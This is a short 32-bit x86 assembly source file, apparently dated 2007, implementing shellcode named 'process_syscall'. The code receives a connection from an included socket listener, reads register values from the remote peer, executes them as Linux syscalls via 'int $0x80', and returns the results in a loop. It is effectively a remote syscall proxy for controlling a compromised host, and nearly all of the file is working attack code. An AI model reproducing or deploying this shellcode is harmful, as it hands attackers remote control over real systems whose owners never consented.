1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
.code32
.global process_syscall, len_shcode
# th0rpe - 08-27-2007
process_syscall:
#ifdef LISTENER_TCP
#include "listeners/lis_socket_tcp.S"
#else
/* for testing you must compile with 'test_srv.c' */
#include "listeners/getsock.S"
#endif
# save connection descriptor
pushl %ebx
# alloc space for syscalls packet
subl $2048, %esp
# write buffer address
write_buffer:
movl %esp, %ecx
movl %esp, (%ecx)
movl $4, %edx
movl %edx, %eax
int $0x80
read_request:
# read request
movl %esp, %ecx
movl $2048, %edx
movl $3, %eax
int $0x80
# check minimal length
cmpl $32,%eax
jl err_process
# exec syscall
popal
exec_syscall:
int $0x80
# restore stack pointer
subl $32, %esp
# save eax result
movl %eax, 28(%esp)
# write response
movl %esp, %ecx
movl $2048, %edx
# restore ebx register with connecion descriptor
movl 2048(%esp), %ebx
movl $4, %eax
int $0x80
jmp read_request
err_process:
movl $0xfc,%eax
int $0x80
len_shcode:
.long len_shcode - process_syscall
|
